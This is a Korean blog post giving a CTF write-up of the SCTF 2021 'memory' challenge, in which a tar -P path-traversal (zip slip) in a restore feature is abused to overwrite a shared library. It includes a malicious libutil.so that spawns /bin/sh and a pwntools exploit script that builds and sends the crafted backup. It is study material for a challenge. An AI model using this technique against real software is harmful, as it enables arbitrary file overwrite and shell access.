ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SCTF 2021] memory
    Wargame/study 2021. 12. 30. 18:34

    2021년 8월에 시행된 SCTF memory 문제다. https://research.samsung.com/sstf 에서 문제를 다운로드할 수 있으며, pwnable과 binary 태그가 붙어있었다. 서버에서 작동하는 prob 바이너리 파일만 주어진다.

     

    1. Description

    서버에 접속하게 되면 아래와 같이 메뉴 목록이 출력되고, 메뉴를 입력받을 수 있다.

    실행화면

    각각의 메뉴를 실행시켜보면 다음과 같다.

     

    1) 1.write

    write 메뉴

    내용물을 입력받고 메뉴가 종료된다.

     

    2) 2. view

    view 메뉴

    날짜를 입력받고 그에 대응되는 내용물을 출력하는 기능인 것 같다.

     

    3) 3. all view

    all view 메뉴

    모든 날짜에 대한 내용물을 출력하는 기능으로 보인다.

     

    4) 4. backup data

    backup data 메뉴

    현재 있는 내용물들에 대해 백업을 진행하고 결과물을 화면에 출력하는 기능인 것 같다.

     

    5) 5. restore data

    restore data 메뉴

    메뉴 이름으로 보아 백업된 파일로부터 복구가 진행되는 기능으로 추측된다.

     

    6) 6. exit

    exit 메뉴

    프로그램을 종료시킨다.

     

    2. Analysis

    각 기능들의 내부 로직을 분석하기 위해 prob 바이너리를 ida로 분석을 진행해보았다.

    1) 1. write

    write 메뉴

    현재 날짜(연도-월-일) 정보를 localtime 함수로 받아오고, data/yyyy-mm-dd 파일에 입력한 내용물을 저장하는 것을 확인할 수 있다.

     

    2) 2. view

    view 메뉴

    날짜를 yyyy-mm-dd 형식으로 입력해주고 해당 날짜에 대응되는 파일이 있으면 파일의 내용물을 화면에 출력해주고, 그렇지 않은 경우 적절한 메시지를 출력해준다.

     

    3) 3. view all

    view all 메뉴

    view와 유사한 기능을 하는 메뉴로, data 디렉터리에 있는 모든 yyyy-mm-dd 형태의 파일의 내용물을 출력해주는 기능을 한다.

     

    4) 4. backup data

    backup data 메뉴

    몇 개의 함수를 실행시키는데 각각의 함수는 다음과 같다.

     

    - executeCommand

    executeCommand 함수

    ./lib/libutil.so 라이브러리를 로드한 후, execute 함수를 execute 함수 포인터에 저장한 뒤, 파라미터인 command 문자열을 execute로 실행시키는 기능을 한다. 결과적으로는 "tar cvfP backup.tar ./data/*"를 실행시키는 함수로, data 디렉터리에 내에 있는 파일들을 tar 압축한 backup.tar 파일을 생성한다.

     

    - saveTo_bak(tar, bak)

    saveTo_bak 함수

     

    함수가 호출될 때 넘어가는 인자 tar, bak는 아래와 같이 "backup.tar" 문자열, "backup.bak" 문자열을 나타냄을 알 수 있다.

    backup.tar / backup.bak

    saveTo_bak 함수를 분석해보면 saveSignatureLength함수에서 백업 파일의 시그니쳐를 나타내는 듯한 "SCTF"와 파일의 길이를 저장하고, 파일의 해시(sha256) 값과 backup.tar파일의 내용물을 그대로 복사한 backup.bak 파일을 생성한다. 그림으로 나타내면 아래와 같은 구조를 나타낸다.

     

    Magic value(SCTF, 4byte) Filesize(4byte) Hash value(sha256, 32byte) 실제 data

    (backup.bak)

     

    - print_encoded_bak

    print_encoded_bak 함수

    backup.bak 파일을 base64 인코딩 한후 그 결과물을 화면에 출력해주는 기능을 한다.

     

    5) 5. restore data

    restore data 메뉴

    backup data 메뉴와 비슷하게 몇 가지 함수를 실행시킨다. 크게 download 함수와 executeCommand 함수를 실행시키는데, download 함수는 다음과 같다.

     

    - download

    download 함수 1

    우선 복구할 파일 크기를 입력으로 받는다. 이후에 앞의 backup data 메뉴에서 화면에 출력된 base64 인코딩 결과물을 입력으로 받아 base64 디코딩을 진행한다. 그리고 시그니쳐 + 파일크기 + 파일 해시 값을 출력한다.

     

    download 함수 2

    이어서 시그니쳐 값을 비교한 후, 정상적인 파일이라면 restore.bak 파일에 값을 저장하고 1을 리턴하고, 그렇지 않은 경우 0을 리턴한다.

     

    성공적으로 download 함수가 실행되었으면 executeCommand를 이용해 "tar xvfP restore.bak -C ./data/" 명령을 실행시켜 data 디렉터리 아래에 tar 압축해제를 한다.

     

    3. Solving

    바이너리를 분석하면서 백업파일 생성 / 복구 과정에서 취약점이 있을 것 같아 분석을 진행해보았지만 감을 잡을 수 없었다. 이후 풀이를 보니 tar 압축/해제 과정에 있는 'P' 옵션이 zip slip 취약점을 발생시킬 수 있다는 점을 알 수 있었다. tar 압축의 P 옵션에 대한 설명은 다음과 같다.

    -P 옵션 설명

    tar 압축으로 파일을 압축할 때, 절대 경로를 사용할 경우 보안 상의 문제로 '/'를 제거한다.

    절대 경로 사용시 tar 압축

    하지만 P 옵션을 추가할 경우, 아래와 같이 따로 '/'를 제거하지 않는다.

    P 옵션 적용

    이를 활용해 executeCommand 함수 내부에서 사용되는 libutil.so 라이브러리를 덮어쓰고, 쉘을 획득하는 코드를 아래와 같은 단계를 거쳐 작성할 수 있다.

     

    1) 쉘 획득 라이브러리 작성

    libutil.so를 덮어쓰기 위해 아래와 같은 코드로 구성된 공유 라이브러리(libutil.so)를 작성한다.

    // gcc -w -fPIC -shared -o libutil.so ./hack.c
    #include <stdio.h>
    
    void execute(char *cmd) {
    	system("/bin/sh");
    }

     

    2) tar 파일 생성

    공유 라이브러리 libutil.so를 tar 압축한 후, 압축해제되었을 때 libutil.so 파일을 덮어쓸 수 있도록 경로를 조작할 수 있도록 이름을 수정해준다. (SCTF 공식 write up에서는 hex editor를 이용해 이름을 수정해주지만 잘 작동하지 않아 theori의 write up에서 활용한 파이썬 tarfile 모듈을 이용해 작성해주었다.)

     

    import tarfile
    
    tar = tarfile.open("libutil.tar", "w")
    tar.add("../lib/libutil.so")
    tar.close()

     

    이름 변경

     

    3) 익스플로잇 작성

    앞의 signature + 파일 크기 + 해시 값 + 파일 내용에 해당되는 값을 계산하는 부분을 작성하고, restore 메뉴를 실행시켜 입력값으로 주게 되면 libutil.so 값이 덮어쓰여지게 된다. 이후에 다시 executeCommand 함수를 실행시켜 libutil.so의 execute 함수를 실행시키게 되면 /bin/sh 명령어를 실행시켜 쉘을 획득할 수 있게 된다.

     

    from pwn import *
    import hashlib
    import base64
    
    m = hashlib.sha256()
    res = open("./libutil.tar", "rb")
    res = res.read()
    
    m.update(res)
    hash_array = m.digest()
    magic = b"SCTF"
    print(len(res))
    
    #signature + length + hash + content
    exp = magic + p32(len(res)) + hash_array + res
    sitename_base64 = base64.b64encode(exp)
    
    p = remote("localhost", 31339)
    
    #restore menu
    p.send(b"5\n")
    p.recvuntil(b"size : ")
    p.send(str(len(sitename_base64)).encode())
    p.recvuntil(b"binary contents : ")
    p.send(sitename_base64 + b"\n")
    p.recvuntil(b"menu : ")
    
    #backup data
    p.send(b"4\n")
    
    p.interactive()

     

    쉘 획득

    4. Comment

    너무 메모리 커럽션 쪽에 초점을 맞춰서 문제를 해결하려다 보니, 범위와 같은 부분에 초점을 맞춰 분석하는데 시간을 오래 쏟은 문제다. tar 압축을 많이 사용해봤다면 흔하지 않은 옵션인 'P'에서 낌새를 알아차렸을 텐데 많이 아쉬움이 남는 문제다. 이렇게 압축 / 해제 과정에서 임의의 파일을 덮어쓸 수 있는 취약점을 zip slip이라고 하는 것도 배울 수 있었다. 

    반응형

    'Wargame > study' 카테고리의 다른 글

    [dreamhack.io] rev-login  (0) 2022.03.02
    [HackCTF] BabyMIPS  (0) 2022.02.22
    [SCTF 2021] secure_enough  (0) 2022.01.26
    [dreamhack.io] Textbook-CBC  (0) 2022.01.13
    [reversing.kr] PEPassword  (0) 2022.01.04

    댓글

Designed by Tistory.